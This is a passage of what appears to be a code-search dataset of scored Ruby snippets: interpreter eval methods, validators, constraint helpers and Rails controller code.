elsif form.is_a? Sym or form.is_a? Symbol\n form = form.sym if form.is_a? Symbol\n raise EvalError.new(\"Undefined symbol: #{form.inspect}\") unless Lambda.in_scope?(form)\n Lambda[form]\n else # well it must be a literal then\n form\n end\n end", "title": "" }, { "docid": "dab5482577530c5d4a82c2377229429d", "score": "0.49474725", "text": "def constraint(type, key, constraints)\n return nil if constraints.nil? || constraints[type].nil?\n constraints[type][key]\n end", "title": "" }, { "docid": "018c681fa8bc8b5b7685d93bc3db9ae2", "score": "0.49405476", "text": "def eval(form)\n # p form\n if (form.is_a?(Cons)) and !form.empty?\n apply(form.car, form.cdr || cons)\n elsif form.is_a? Sym\n self[form.sym]\n else # well it must be a literal then\n form\n end\n end", "title": "" }, { "docid": "7647e8d36cb00d911af16b407b592421", "score": "0.49147642", "text": "def validate_key!\n end", "title": "" }, { "docid": "dd021e12f32bf0e80963184051e22040", "score": "0.48268953", "text": "def to_proc\n proc { |k| get(k) }\n end", "title": "" }, { "docid": "dd021e12f32bf0e80963184051e22040", "score": "0.48268953", "text": "def to_proc\n proc { |k| get(k) }\n end", "title": "" }, { "docid": "bcb0632ddca5cffffb841306cd5d2f05", "score": "0.48121062", "text": "def field? key\n @validators[key.to_sym].is_a? ::Proc\n end", "title": "" }, { "docid": "7d06c41b3e7026178707a7d741fe4ae8", "score": "0.4806691", "text": "def dynamicPolicy(value, &validator)\n validator.call value\nend", "title": "" }, { "docid": "a8bc211805ca6d9296201856f950304a", "score": "0.4793573", "text": "def required(key); end", "title": "" }, { "docid": "cf0f8cf47d41d00f5dcf041fe10f3047", "score": "0.47913784", "text": "def contraint_keyword(k)\n @key = k\n end", "title": "" }, { "docid": "d827828ea7df55a3000ef559b8d2205b", "score": "0.4783732", "text": "def constrain( description, proc = nil, &block )\n assert(@entity.exists?, \"you must define the entity using one \\\"each\\\" or \\\"as\\\" clause before defining any constraints\")\n warn_todo(\"constraint support in Entity\")\n end", "title": "" }, { "docid": "16753cf9f38dc9ad4755a290e7e935d3", "score": "0.4776263", "text": "def compute\n regular_forms\n end", "title": "" }, { "docid": "c2b93f727d897d580c24393ccc912e32", "score": "0.47633082", "text": "def check_key_valid; end", "title": "" }, { "docid": "022834429db16d0afaff46eb733e4f0b", "score": "0.47532254", "text": "def validate_constraint(table_name, constraint_name); end", "title": "" }, { "docid": "9e707972dbc36abc939b36d876b1eca7", "score": "0.47305584", "text": "def compute(key_)\n @computations[key_] ||= yield self\n end", "title": "" }, { "docid": "c8f725d21c4456a364ba980beb80a5a0", "score": "0.47202674", "text": "def key_proc(&block)\n @key_proc = block if block\n @key_proc\n end", "title": "" }, { "docid": "257f20f1c9c66b2a838be9a88af4f98e", "score": "0.4716745", "text": "def congress_form\n #=== Instructions ===================================\n # Create a form to send a keyword to the congress_process\n # action\n #================================================\n end", "title": "" }, { "docid": "5be15b66eca3113386a93798c20d62c5", "score": "0.47076494", "text": "def __form_check(process_name, \n parsed_process,\n bound_qvars,\n nametable) #recursive\n new_bound = Hash.new;\n\n case parsed_process.node.kind\n when \"nil\"\n # do nothing\n when \"send\"\n channel = parsed_process.node.name\n qvars = parsed_process.node.target\n unless (ch_len = nametable.channels[channel])\n raise \"undeclared channel: \" + channel\n end\n unless (qv_len = bound_qvars[qvars[0]]) or (qv_len = nametable.qvars[qvars[0]])\n raise \"unbound qvar: #{qvars[0]}\"\n end\n unless ch_len == qv_len\n raise \"lengths (#{ch_len}, #{qv_len}) of channel and qvar are not coincide: #{qvars[0]}, in #{process_name}\"\n end\n when \"receive\"\n channel = parsed_process.node.name\n qvars = parsed_process.node.target\n unless (ch_len = nametable.channels[channel])\n raise \"undeclared channel: #{channel} in #{process_name}, in #{process_name}\"\n end\n if RUBY_VERSION >= '1.9'\n if bound_qvars.key(qvars[0]) or nametable.qvars[qvars[0]]\n raise \"already bounded qvar: #{qvars[0]} in #{process_name}, in #{process_name}\"\n end\n else\n if bound_qvars.index(qvars[0]) or nametable.qvars[qvars[0]]\n raise \"already bounded qvar: #{qvars[0]} in #{process_name}, in #{process_name}\"\n end\n end\n new_bound[qvars[0]] = ch_len\n when \"oper\"\n operator = parsed_process.node.name\n argument = parsed_process.node.target\n unless nametable.operators[operator]\n raise \"undeclared operator: #{operator} in #{process_name}\" \n end\n arg_i = 0\n argument.each{ |qvar|\n unless (qv_len_i = bound_qvars[qvar]) or (qv_len_i = nametable.qvars[qvar])\n raise \"unbouded qvar: #{qvar} in #{process_name}\"\n end\n unless qv_len_i == (nametable.operators[operator])[arg_i]\n raise \"#{qvar}'s length #{qv_len_i} is wrong, expected #{(nametable.operators[operator])[arg_i]} for #{operator}, in #{process_name}\"\n end\n arg_i += 1\n qv_len_i = nil\n }\n when \"palla\"\n #do nothing\n when \"condition\"\n condition = parsed_process.node.target\n begin\n unless (con_len = bound_qvars[condition[0]]) or\n (con_len = nametable.qvars[condition[0]])\n raise \"unbouded qvar: #{condition[0]} in #{process_name}\"\n end\n unless con_len == \"1\"\n raise \"condition qvar is not a qubit #{condition[0]}\"\n end\n end\n when \"restriction\"\n restricted_chans = parsed_process.node.target;\n restricted_chans.each{ |channel|\n begin\n unless nametable.channels[channel]\n raise \"undeclared channel: #{channel} in #{process_name}\"\n end\n end\n }\n end #case\n unless parsed_process.left == nil\n __form_check(process_name,\n parsed_process.left,\n bound_qvars.merge(new_bound),\n nametable)\n end\n unless parsed_process.right == nil\n __form_check(process_name,\n parsed_process.right,\n bound_qvars.merge(new_bound),\n nametable)\n end\n end", "title": "" }, { "docid": "70e4cb4f882c1124f848a366398755d3", "score": "0.47037202", "text": "def validate(permitted_keys)\n validate_balanced_parens(@expression)\n key_value_pairs = permitted_keys.map { |t| [t, true] }.to_h.symbolize_keys!\n evaluate(key_value_pairs)\n nil\n end", "title": "" }, { "docid": "e5da6e7466f7237e9d9a6f964ecb8fae", "score": "0.46964848", "text": "def mass_constraint_params\n params.require(:mass_constraint).permit(:mass_id, :constraint_id, :constraint_type)\n end", "title": "" }, { "docid": "050aeaea18a9d7ed4d70b1b29466f223", "score": "0.4692021", "text": "def form_with_proc p\n puts \"<form>\"\n p.call true\n puts \"</form>\"\nend", "title": "" }, { "docid": "c94953c1f2b591935f779555dd301366", "score": "0.46863225", "text": "def proc=(_); end", "title": "" }, { "docid": "e0c911ddffa73ee6bd63b4ac6f291e6e", "score": "0.46766943", "text": "def compute( key )\n probability = if @probabilities[key]\n @probabilities[key]\n elsif key.start_with?(\"!\") && @probabilities[key.sub(\"!\",\"\")]\n self.not(key.sub(\"!\",''))\n elsif key.match('\\|')\n @history << key unless @history.member?( key )\n key,apriori=key.split(\"|\")\n self.aposteriori( key, apriori: apriori)\n elsif key.match('\\^')\n @history << key unless @history.member?( key )\n key,other_key=key.split(\"^\")\n self.and(key,other_key)\n else\n apriori_key = @probabilities.keys.find{|p| p.split(\"|\")[0]==key && !p.split(\"|\")[1].match('!') }\n if apriori_key\n @history << key unless @history.member?( key )\n apriori_key = apriori_key.split(\"|\")[1]\n value = self.total(key,apriori: apriori_key)\n self.set( key, value)\n else \n raise \"not found #{key}\"\n end\n end\n probability\n end", "title": "" }, { "docid": "d3353a07f8856908571295bc242d060e", "score": "0.46672738", "text": "def constraint_validations; end", "title": "" }, { "docid": "1edf63fdd312040cadfa38ce196bb6c4", "score": "0.46636403", "text": "def add_constraint(constraint); end", "title": "" }, { "docid": "866e875da33a6af12145c92487bdc616", "score": "0.46600315", "text": "def apply!\n prepare_constraints_for_policies\n end", "title": "" }, { "docid": "5ed7ae5f8b658607e3fd083f1ea01a69", "score": "0.46580008", "text": "def constraint_applicator\r\n \r\nend", "title": "" }, { "docid": "653092273af906f874cfe84317b51d66", "score": "0.46426857", "text": "def def_constraints()\n yield\n end", "title": "" }, { "docid": "0c725cd286c714a2e6fb0efc653e2106", "score": "0.46299472", "text": "def transform_keys(proc = nil, &block)\n schema schema.with_key_transform(proc || block)\n end", "title": "" }, { "docid": "b20fa100e6772295fe8ee0edf05cfdeb", "score": "0.4620312", "text": "def constrained?\n @constraint.is_a?(Proc)\n end", "title": "" }, { "docid": "9dee06980b5d56d5d08e2a0ed7388345", "score": "0.46132153", "text": "def cast_key(key)\n @key_proc ? @key_proc.call(key) : key\n end", "title": "" }, { "docid": "05a368ef1db0ffa0f30b4525fa866471", "score": "0.46131495", "text": "def validator(key, &block)\n return if !block\n vals = (@validators[key.to_sym] ||= [])\n vals << block\n end", "title": "" }, { "docid": "0c68302d3f1139c3e96c42b2cfd093a6", "score": "0.46038577", "text": "def validate_keys(*valid_keys); end", "title": "" }, { "docid": "0c68302d3f1139c3e96c42b2cfd093a6", "score": "0.46026704", "text": "def validate_keys(*valid_keys); end", "title": "" }, { "docid": "0362416939501d65a72f3bc58bb29a96", "score": "0.46015862", "text": "def to_proc\n proc { |*rest, **keyrest, &block| self.(*rest, **keyrest, &block) }\n end", "title": "" }, { "docid": "45ba68391a1ddbbf6954ccbec554c78d", "score": "0.46015164", "text": "def validate_key(id,magickey)\nend", "title": "" }, { "docid": "99dd8a82c33c093a94148f5452c4b920", "score": "0.4594404", "text": "def call(request)\n @constraints.all? {|key, val|\n request.send(key).include? val\n }\n end", "title": "" }, { "docid": "aa351b9973b0be1b7e076b2368618a89", "score": "0.45935747", "text": "def process_key( key )\n @key_events.select{ |ke| ke.key === key }.each do |ke|\n ke.block.call unless ke.block.nil?\n end\n end", "title": "" }, { "docid": "63cc1c5b3826d829a0e40ae7b6ea8fa3", "score": "0.4582922", "text": "def appointment_procedure_params\n params.require(:appointment_procedure).permit(AppointmentProcedure.safe_attributes)\n end", "title": "" }, { "docid": "3b456aeddf3c081bc0cbbab8eeed10ed", "score": "0.45796698", "text": "def run_custom_validation(record, proc)\n case proc\n when Proc\n proc.call(record)\n when Symbol\n if defining_model(record).respond_to?(proc)\n defining_model(record).send(proc)\n else\n raise ArgumentError.new \"The method '#{proc}' was set up as validation method in model '#{defining_model(record).name}', but doesn't exist.\"\n end\n else\n raise ArgumentError.new \"An invalid validations method was given ('#{proc}')\"\n end\n end", "title": "" }, { "docid": "c6c9d1a588950bbb074eed699cc91ade", "score": "0.45777568", "text": "def process_form\n @hash_queries_params = params.select { |k,v| k[0..0] == \"p\" }\n @hash_queries = @hash_queries_params.inject({}) { |h, (name, atom_params)| h[name] = ProductsQuery.process_attributes(name, @current_knowledge, atom_params); h }\n end", "title": "" }, { "docid": "d3e265fd2042437a6bdc36851935fd74", "score": "0.45772737", "text": "def constraint_params\n params.require(:constraint).permit(:title, :description, :task_id)\n end", "title": "" }, { "docid": "ea23aae8bb3c35e3b9da0a3d5bdad340", "score": "0.45739394", "text": "def transproc\n Functions[-> hash { hash[key] }]\n end", "title": "" }, { "docid": "e117dab6f4933af2f726369213772e3d", "score": "0.45651492", "text": "def validate(proc = nil, &block)\n proc ||= block\n proc = method(proc) if proc.is_a?(Symbol)\n\n validators << proc\n end", "title": "" }, { "docid": "dc6abd5abf6210cc933ccd47d9bb65c1", "score": "0.4561425", "text": "def procify(sym)\n proc { |val, options| send(sym, val, options) }\n end", "title": "" }, { "docid": "077d4fdd49bd51489d0e5e8ef9f7f1bc", "score": "0.45453116", "text": "def _before_validation\n if new? && (set = self[model.sti_key])\n exp = model.sti_key_chooser.call(self)\n if set != exp\n set_table = model.sti_class_from_key(set).cti_table_name\n exp_table = model.sti_class_from_key(exp).cti_table_name\n set_column_value(\"#{model.sti_key}=\", exp) if set_table != exp_table\n end\n end\n super\n end", "title": "" }, { "docid": "afd37e9177c6dcb28d8c19fab447055d", "score": "0.45282206", "text": "def check_constraints; end", "title": "" }, { "docid": "7b8acd29a7de76541c7f97a6d0256d6d", "score": "0.45280254", "text": "def foreign_key(fkey)\n supports_sub_operation!(:foreign_key)\n operations << [:foreign_key, fkey]\n end", "title": "" }, { "docid": "0878f80634d907e72062faf1f831dd77", "score": "0.45240048", "text": "def key_for(mapping)\n [mapping, mapping.conditions]\n end", "title": "" }, { "docid": "3a61d07e2f68613de61fdebc38a69ee3", "score": "0.45166838", "text": "def validate(map)\n data = super(symbolize_keys, map)\n data.each do |k,v|\n self[k.to_sym] = v\n end\n end", "title": "" }, { "docid": "620021de629e3dd99a962a6a791063a2", "score": "0.45080248", "text": "def validate(*keys, &validator)\n key = flatten_keys(keys)\n values = validators[key] || []\n values << validator\n validators[key] = values\n end", "title": "" }, { "docid": "a62f97962cc605e49b2542fbd991c287", "score": "0.45020646", "text": "def supports_validate_constraints?; end", "title": "" }, { "docid": "1fbbd12d58db31422e39b3c723b2b189", "score": "0.45004907", "text": "def reg_key(key, &proc)\n @keys[key] = proc\n true\n end", "title": "" }, { "docid": "1fbbd12d58db31422e39b3c723b2b189", "score": "0.45004907", "text": "def reg_key(key, &proc)\n @keys[key] = proc\n true\n end", "title": "" }, { "docid": "3e3143cc073adccda9fa1a71754d35e9", "score": "0.44930953", "text": "def get_a_proc(key)\n @@a_proc[key]\n end", "title": "" }, { "docid": "a06a4db294ea43eb4211e416a52866e5", "score": "0.44813696", "text": "def validate_value!(key, args)\n\t\t validation = self.class.validations[key]\n\t\t raise \"No validation was found for #{key}\" if !validation\n\t\t @errors << {:key => key} if !validation.call(args)\n\t\tend", "title": "" }, { "docid": "b666f2b7a5fc4856d6b9460923095f10", "score": "0.4471596", "text": "def validate(key, &validator)\n vs = (validators[key] || [])\n vs << validator\n validators[key] = vs\n end", "title": "" }, { "docid": "a46609a048c9c27353660be5c64ca96b", "score": "0.44699532", "text": "def build_constraint(klass, table, key, foreign_table, foreign_key)\n constraint = table[key].eq(foreign_table[foreign_key])\n\n if klass.finder_needs_type_condition?\n constraint = table.create_and([\n constraint,\n klass.send(:type_condition, table)\n ])\n end\n\n constraint\n end", "title": "" }, { "docid": "a46609a048c9c27353660be5c64ca96b", "score": "0.44699532", "text": "def build_constraint(klass, table, key, foreign_table, foreign_key)\n constraint = table[key].eq(foreign_table[foreign_key])\n\n if klass.finder_needs_type_condition?\n constraint = table.create_and([\n constraint,\n klass.send(:type_condition, table)\n ])\n end\n\n constraint\n end", "title": "" }, { "docid": "25c7b39d87c1a0fae1a3587decef1dcf", "score": "0.4469845", "text": "def update!(**args)\n @constraint = args[:constraint] if args.key?(:constraint)\n end", "title": "" }, { "docid": "25c7b39d87c1a0fae1a3587decef1dcf", "score": "0.4469845", "text": "def update!(**args)\n @constraint = args[:constraint] if args.key?(:constraint)\n end", "title": "" }, { "docid": "8c492c8f36f3a29b5f73fa627c5bbc57", "score": "0.44637278", "text": "def set_up_keys!\n form.fields.each do |f|\n class_eval do\n key f.underscored_name, f.keys['default'].type, :required => f.required, :default => f.default\n end\n end if form\n end", "title": "" }, { "docid": "c08809674d8b971ee05165891e7cfbae", "score": "0.44630718", "text": "def constraints(hash = nil, &block)\n block = lambda{ _natural(hash) } unless block\n cs = (_peek(:relvar)[:constraints] ||= build_constraints)\n _push(:constraints, cs, &block)\n end", "title": "" }, { "docid": "6ea6c1d4be82d26ffc069deced9ebdd0", "score": "0.44626385", "text": "def eval(form)\n if form.is_a?(String)\n BusScheme.eval_string(form)\n else\n BusScheme.eval(form)\n end\n end", "title": "" }, { "docid": "369eb256069f19f3b2dbffcb7629ffc3", "score": "0.44596168", "text": "def validate(key, validator=\"validate_#{key}\", &block)\n validators[key.to_s] = validator.to_sym\n \n if block_given?\n define_method(validator, &block)\n protected validator\n end\n end", "title": "" }, { "docid": "3db5cb2464361dbe4aa0cdd4899a00a3", "score": "0.4455489", "text": "def add_key_constraint(key, constraint, sanity: false, **options)\n add_constraint(\n constraint,\n property: key,\n property_type: :key,\n sanity: sanity,\n **options\n )\n end", "title": "" }, { "docid": "2a9beb4ba8d0bf5c5ff53560b0ec86d9", "score": "0.44522732", "text": "def to_proc\n procs = entitled_fields.inject([]) do |memo, (name, value, definition)|\n memo << eval_option_proc(definition.query_updater, value)\n\n memo\n end\n\n ->() {\n # here self is an ActiveRecord relation\n procs.inject(self) { |chain, next_proc| chain.merge(next_proc) }\n }\n end", "title": "" }, { "docid": "71844acef6a6045ac7f9b61b2c6ac697", "score": "0.44486025", "text": "def key_inputs; end", "title": "" }, { "docid": "b0497a83eeb50843804dca90b29f72ce", "score": "0.4442396", "text": "def update\n @profile.assign_attributes params.require(:cert_profile).permit(:name)\n\n unless [\"edit\", \"update\"].include? params[\"form_action\"]\n action, action_arg = params[\"form_action\"].split(\" \", 2)\n case action\n when \"edit_constraint\"\n constraint = @profile.constraints.find(action_arg)\n constraint.update(value: params[\"cert_profile\"][\"constraints\"][action_arg])\n when \"destroy_constraint\"\n constraint = @profile.constraints.find(action_arg)\n constraint.destroy\n when \"create_constraint\"\n @profile_constraint = CertProfileConstraint.new type: \"add_extension\", value: {}\n if params[\"cert_profile_constraint\"]\n @profile_constraint.profile = @profile\n @profile_constraint.value = params[\"cert_profile_constraint\"][\"value\"]\n @profile_constraint.type = \"add_extension\"\n @profile_constraint.save\n @profile.constraints << @profile_constraint\n @profile_constraint = nil\n end\n end\n return render :edit\n end\n\n if @profile.save\n redirect_to admin_cert_profiles_path, notice: 'Profile was successfully updated.'\n else\n render :edit\n end\n end", "title": "" }, { "docid": "b29e9c23a57f51d4716a1e2b749663c6", "score": "0.44388953", "text": "def cs(opts = {})\n field_list = opts[:fields]\n field_list.each { |f| fields[f].constraints.update(opts[:constraints])} if opts[:constraints]\n end", "title": "" }, { "docid": "d3fb5e7b88e15ada362646c4e771bfe6", "score": "0.44307262", "text": "def eval_cell_proc(proc:, column_name:, index:)\n @attributes[column_name][index] = proc.function[partial_result(index)]\n end", "title": "" }, { "docid": "9aa02cdc2f669b19a207db39dba507e4", "score": "0.44294146", "text": "def valid?(key); end", "title": "" }, { "docid": "8a7d6aeb3718d21523182a8e7b0f711a", "score": "0.4428128", "text": "def [] key\n key = resolve_key! key\n warn! \"Key #{key.inspect} does not exist. Returning nil.\" unless @validators.key? key\n value = @values[key]\n value = value.call if Config::DeferredValue === value\n value\n end", "title": "" }, { "docid": "27e7b3aa770378d53966188dddbe0710", "score": "0.44251865", "text": "def constraint(hash = {})\n @constraints << Constraint.new(self, hash)\n end", "title": "" }, { "docid": "27e7b3aa770378d53966188dddbe0710", "score": "0.44251865", "text": "def constraint(hash = {})\n @constraints << Constraint.new(self, hash)\n end", "title": "" }, { "docid": "97b603f2589b3c348cda73762d1c7299", "score": "0.44191137", "text": "def add_constraint(constraint, options = {})\n self.constraints.delete_if { |saved_constraint| saved_constraint == constraint }\n self.constraints.push(constraint)\n self.update_attributes(options)\n self.save\n end", "title": "" }, { "docid": "a2662dcdc7dbf08115804c3b91f9b37c", "score": "0.44187024", "text": "def set_constraint\n @constraint = Constraint.find(params[:id])\n end", "title": "" }, { "docid": "79ee053574602f73c95fd24f68717793", "score": "0.44177154", "text": "def procedure_primary_key(name)\n\t\t\t\t\trow = exec_query(<<-end_sql, 'SCHEMA').rows.first\n SELECT proargnames[1] FROM pg_proc WHERE proname = '#{name}'\n end_sql\n\t\t\t\t\trow && row.first\n\t\t\t\tend", "title": "" }, { "docid": "b920234d950b1a631b331f75d9441c71", "score": "0.44155538", "text": "def validations_for(key)\n @validations[key] ||= []\n end", "title": "" }, { "docid": "e75fd357bf392b9a3678d42f05f06e46", "score": "0.44108212", "text": "def build_constraint_with_custom(reflection, table, key, foreign_table, foreign_key)\n case reflection.source_macro\n when :has_one_custom, :has_many_custom\n\t\t return DummyConstraint unless reflection.klass.finder_needs_type_condition?\n\t\t reflection.klass.send(:type_condition, table)\n else\n build_constraint_without_custom(reflection, table, key, foreign_table, foreign_key)\n end\n\t end", "title": "" }, { "docid": "0167d62e35d8edfd75fa78f09c7e2412", "score": "0.43994948", "text": "def constraint(property, constraints)\n Neo4j::Session.on_session_available do |session|\n unless Neo4j::Label.constraint?(mapped_label_name, property)\n label = Neo4j::Label.create(mapped_label_name)\n drop_index(property, label) if index?(property)\n label.create_constraint(property, constraints, session)\n end\n end\n end", "title": "" }, { "docid": "b6bb70e33cc0233b4862ae280e4eb195", "score": "0.43898064", "text": "def constraints; end", "title": "" }, { "docid": "b6bb70e33cc0233b4862ae280e4eb195", "score": "0.43898064", "text": "def constraints; end", "title": "" }, { "docid": "b6bb70e33cc0233b4862ae280e4eb195", "score": "0.43898064", "text": "def constraints; end", "title": "" }, { "docid": "d93661ebd11637bc5861fd9c9ee68ac4", "score": "0.43884665", "text": "def build_concentrate_product_form(concentrate_product, action, caption, is_edit = nil, is_create_retry = nil)\n#\t--------------------------------------------------------------------------------------------------\n#\tDefine a set of observers for each composite foreign key- in effect an observer per combo involved\n#\tin a composite foreign key\n#\t--------------------------------------------------------------------------------------------------\n session[:concentrate_product_form]= Hash.new\n product_codes = Product.find_by_sql('select distinct product_code from products').map { |g| [g.product_code] }\n product_codes.unshift(\"<empty>\")\n#\t---------------------------------\n#\t Define fields to build form from\n#\t---------------------------------\n field_configs = Array.new\n if is_edit\n field_configs[field_configs.length()] = {:field_type => 'LabelField',\n :field_name => 'concentrate_code'}\n else\n field_configs[field_configs.length()] = {:field_type => 'TextField',\n :field_name => 'concentrate_code'}\n end\n\n field_configs[field_configs.length()] = {:field_type => 'TextField',\n :field_name => 'concentrate_description'}\n\n field_configs[field_configs.length()] = {:field_type => 'TextField',\n :field_name => 'uom'}\n\n field_configs[field_configs.length()] = {:field_type => 'TextField',\n :field_name => 'min_quantity'}\n\n field_configs[field_configs.length()] = {:field_type => 'TextField',\n :field_name => 'max_quantity'}\n\n field_configs[field_configs.length()] = {:field_type=>'PopupDateSelector', :field_name=>'date_from'}\n\n#\t----------------------------------------------------------------------------------------------\n#\tCombo fields to represent foreign key (product_id) on related table: products\n#\t----------------------------------------------------------------------------------------------\n#\tfield_configs[field_configs.length()] = {:field_type => 'DropDownField',\n#\t\t\t\t\t\t:field_name => 'product_code',\n#\t\t\t\t\t\t:settings => {:list => product_codes}}\n\n build_form(concentrate_product, field_configs, action, 'concentrate_product', caption, is_edit)\n\n end", "title": "" }, { "docid": "4c420b1c1783073e90994b1c12161641", "score": "0.4381727", "text": "def constrain property = nil, constraints = {}, &block\n if property.is_a?(Hash) && empty_constraints?(constraints)\n constraints = property\n property = nil\n end # if\n\n require_constraints(constraints) unless block_given?\n\n build_constraints(property, constraints)\n\n return unless block_given?\n\n child = build_contract\n child.instance_exec(&block)\n\n add_constraint child, :negated => false, :on => property\n end", "title": "" }, { "docid": "67930ff628042a44b8df16a878de27e3", "score": "0.4371272", "text": "def validation_if_proc(o, i)\n case i\n when Symbol\n o.get_column_value(i)\n when Proc\n o.instance_eval(&i)\n else\n raise(::Sequel::Error, \"invalid value for :if validation option\")\n end\n end", "title": "" }, { "docid": "755b50f01ad016142300a4d74ebeff57", "score": "0.437007", "text": "def _par2form(doc, form)\n return unless /par_(num|str|reg)/ =~ doc.name\n @argc += 1\n atrb = { type: Regexp.last_match(1), list: doc.text.split(',') }\n atrb[:label] = doc[:label] if doc[:label]\n form.get(:parameters) { [] } << atrb\n end", "title": "" }, { "docid": "1c70951404751fb8d05619fd047ea60c", "score": "0.43686643", "text": "def key_valid?(key_value); end", "title": "" }, { "docid": "bb5ab7b5c1c118fcd315696fd206a4bc", "score": "0.43660784", "text": "def add_constraint(constraint=nil,&constraint_proc)\n if (constraint)\n if block_given? then\n raise Exception.new(\"Only one of constraint object or block can be passed\")\n end\n constraints.push(constraint)\n else\n unless block_given? then\n raise Exception.new(\"Atleast one of constraint object or block can be passed\")\n end\n constraints.push(ProcConstraint.new(&constraint_proc))\n end\n end", "title": "" }, { "docid": "22598586ee8cbb0c62d5915a03c84312", "score": "0.43638086", "text": "def apply(prc, &blk)\n prc ||= blk\n prc[self]\n end", "title": "" }, { "docid": "a7c73f760dfd7a6d0dd0d8f33d900c87", "score": "0.43611306", "text": "def process_params!(params, procedures)\n params ||= {}\n procedures ||= []\n params[\"processed\"] = true\n\n # Do not process non query values\n ops = params.fetch(\"operator\", \"q\" => \"default\")\n .select { |key, value| key.match?(/^q/) }\n\n # query_key are like \"q_1\", \"q_2\"..., etc.\n # op is like \"contains\", \"begins_with\"..., etc.\n ops.each { |query_key, op|\n\n field = params[query_key.tr(\"q\", \"f\")]\n value = params[query_key]\n\n # Fold the procedures onto the query value.\n params[query_key] = procedures.reduce(value) { |v, p| send(p, field: field, value: v, op: op) }\n }\n params\n end", "title": "" } ]
5132a6249c810260677fa689ce22eea1
POST /experiments POST /experimentsxml
[ { "docid": "43591dc4b905165c09ecd46e022d15d4", "score": "0.5223266", "text": "def create\n logger.debug \"::::::::::::::::::::microarray experiments create action (\" + current_user.name + \"):::::::::::::::::::: \"\n \n @experiment = Experiment.new(params[:experiment])\n @title = \"Microarray experiments\"\n \n \n \n @valid = false\n if @experiment.partner.nil?\n flash.now[:error] = \"No partner found for this microarray experiments\"\n @valid = true\n end\n\n if @valid\n respond_to do |format|\n format.html { render :action => \"new\" }\n format.xml { render :xml => @experiment.errors, :status => :unprocessable_entity }\n end\n return \n end\n\n @pt = get_partner\n @experiment.ecode = get_code(@pt, @experiment.experiment_date, nil)\n\n @title = \"Experiment\"\n\n respond_to do |format|\n if @experiment.save\n \n\n format.html { \n flash[:notice] = 'New experiment is successfully created (You can check the oligos, used in this experiment, by clicking on the \"+\" sign on individual experiments row!!!)'\n redirect_to :action => \"index\" }\n format.xml { render :xml => @experiment, :status => :created, :location => @experiment }\n else\n\n #@partners = Partner.find(:all)\n @codegen = @experiment.code\n @attr_index = 1\n @pt = get_partner\n\n format.html { render :action => \"new\" }\n format.xml { render :xml => @experiment.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" } ]
[ { "docid": "24a202edf6898c53fac84baca230c1d7", "score": "0.56393194", "text": "def create\n @experiment = Experiment.new(experiment_params)\n\n respond_to do |format|\n if @experiment.save\n format.html { redirect_to @experiment, notice: 'Experiment was successfully created.' }\n format.json { render :show, status: :created, location: @experiment }\n else\n format.html { render :new }\n format.json { render json: @experiment.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "24a202edf6898c53fac84baca230c1d7", "score": "0.56393194", "text": "def create\n @experiment = Experiment.new(experiment_params)\n\n respond_to do |format|\n if @experiment.save\n format.html { redirect_to @experiment, notice: 'Experiment was successfully created.' }\n format.json { render :show, status: :created, location: @experiment }\n else\n format.html { render :new }\n format.json { render json: @experiment.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5042050110963e199e22b119d10485d0", "score": "0.56361157", "text": "def xml \n obj = {}\n expOb = Experiment.where('experimentName' => params[:experimentName]).to_a[0]\n obj['gameName'] = expOb['gameName']\n obj['sequences'] = expOb['sequences']\n obj['experimentName'] = expOb['experimentName']\n render :xml => \"<hash>\"+create_xml(obj, '')+\"</hash>\\n\"\n end", "title": "" }, { "docid": "59f1b99584dc1938d22f3b0a8e91f6b9", "score": "0.56286454", "text": "def create\n # must pass user_id information since session id is not available \n # in the model\n @experiment = Experiment.new( params[:experiment] )\n @experiment.user = current_user\n\n respond_to do |format|\n if @experiment.save\n format.html { \tflash[:notice] = 'Experiment was successfully created.'\n\t\t\tredirect_to(@experiment) }\n format.xml { render :xml => @experiment, :status => :created, :location => @experiment }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @experiment.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "659af6b13f4bd96e473c43efd4431654", "score": "0.5603213", "text": "def create\n @experiment = @project.experiments.new(params[:experiment].merge({ :user_id => current_user.id }))\n respond_to do |format|\n if current_user.save_object(@experiment)\n flash[:notice] = 'Experiment was successfully created.'\n format.html { redirect_to([@project,@experiment]) }\n format.xml { render :xml => @experiment, :status => :created, :location => @experiment }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @experiment.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e8dd20dcc7411240ecf15e6eb68b7b7f", "score": "0.5591598", "text": "def create\n @experiment = Experiment.new(params[:experiment])\n\n respond_to do |format|\n if @experiment.save\n format.html { redirect_to @experiment, notice: 'Experiment was successfully created.' }\n format.json { render json: @experiment, status: :created, location: @experiment }\n else\n format.html { render action: \"new\" }\n format.json { render json: @experiment.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "88ceb6f32f85a4fc6fbf4aa031208dfa", "score": "0.5524556", "text": "def create\n @experiment = Experiment.new(params[:experiment])\n \n\n respond_to do |format|\n if @experiment.save\n format.html { redirect_to @experiment, notice: 'experiment was successfully created.' }\n format.json { render json: @experiment, status: :created, location: @experiment }\n \n else\n format.html { render action: \"new\" }\n format.json { render json: @experiment.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b0df1edf07a9079b257b9f685ca2d45e", "score": "0.5466022", "text": "def new\n @experiment = Experiment.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @experiment }\n end\n end", "title": "" }, { "docid": "b0df1edf07a9079b257b9f685ca2d45e", "score": "0.5466022", "text": "def new\n @experiment = Experiment.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @experiment }\n end\n end", "title": "" }, { "docid": "096dfb486782fae93c66b59aa0acede5", "score": "0.5403563", "text": "def experiment_params\n params.require(:experiment).permit(:title, :description, :project_id, :algorithm_id, :setting_id, :dataset_id)\n end", "title": "" }, { "docid": "99c7874540d576c48d31188e5a26d933", "score": "0.53982735", "text": "def experiment_params\n params.require(:experiment).permit(:name, :metric, :estimated_result_date, :bet_by_date, :result)\n end", "title": "" }, { "docid": "2b84c1a78cd690e5483a21ec81d706c2", "score": "0.5373802", "text": "def index\n @experiments = Experiment.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @experiments }\n end\n end", "title": "" }, { "docid": "587f414d672e6ad9098b0f24cacc3210", "score": "0.5347786", "text": 